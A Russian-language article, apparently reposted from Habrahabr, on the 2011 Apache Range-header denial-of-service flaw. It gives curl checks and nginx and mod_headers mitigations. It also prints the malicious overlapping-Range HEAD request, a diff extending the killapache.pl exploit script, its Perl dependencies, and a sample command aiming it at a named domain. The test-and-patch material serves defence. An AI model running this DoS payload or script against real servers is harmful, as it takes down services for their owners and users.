Убийца Apache

Дисклеймер: Оригинал статьи «Убийца Apache у вас на пороге» был удален с Хабрахабра автором (скорее всего, из-за прямых инструкций по работе с опубликованным эксплойтом killapache.pl), однако материал является полезным не только для кулхацкеров начальных классов средней школы, но и для рядовых администраторов средней полосы нашей необъятной.

Для проверки своего сервер Apache на уязвимость надо выполнить следующие 2 запроса:

curl -I -H "Range: bytes=0-1,0-2" -s www.example.com/robots.txt | grep Partial
curl -I -H "Request-Range: bytes=0-1,0-2,0-3,0-4,0-5,0-6" -s www.example.com/robots.txt | grep Partial

Если на такие запросы отвечает Apache и вы видите 206 Partial Content, значит быть беде (по крайней мере, по состоянию на конец августа 2011 года это было так).

Собственно, скрипт killapache.pl запускает в несколько десятков потоков простой запроc:

HEAD / HTTP/1.1
Host: www.example.com
Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,,5-1299,5-1300
Accept-Encoding: gzip
Connection: close

В ответ на такой запрос Apache для подсчета Content-Length собирает в памяти длинный ответ из перекрывающихся кусков запрошенного файла, который может занять и занимает значительный объём памяти. При этом потребление памяти Apache начинает резко расти, как на том графике в начале, что при должном, совсем небольшом, количестве запросов приводит к DoS даже на приличных серверах.

Способов защиты от эксплуатации уязвимости несколько. Самая простая — отдача статики nginx-ом, что сегодня является best practice. В случае необходимости использования apache для отдачи статики можно запретить проксирование опасных заголовков:

proxy_set_header Range "";
proxy_set_header Request-Range "";

Если у вас Apache светит наружу, то можно запретить использование этих заголовков при помощи mod_headers:

# a2enmod headers
RequestHeader unset Range
RequestHeader unset Request-Range

Перед использованием скрипта его необходимо доработать напильником
diff killapache_pl.bin killapache.pl

40c40
< $p = «HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n»; — > $p = «HEAD «.($ARGV[2] ? $ARGV[2] : «/»).»HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n»;
56c56
< $p = «HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n»; — > $p = «HEAD «.($ARGV[2] ? $ARGV[2] : «/») .» HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n»;
73c73
< if ($#ARGV > 1) {

> if ($#ARGV > 0) {

На сервере необходимо установить зависимости:

cpan App::cpanminus
cpanm Parallel::ForkManager

Пример использования скрипта:

perl killapache.pl xandroskin.ru 10 /favicon.ico

Ссылки: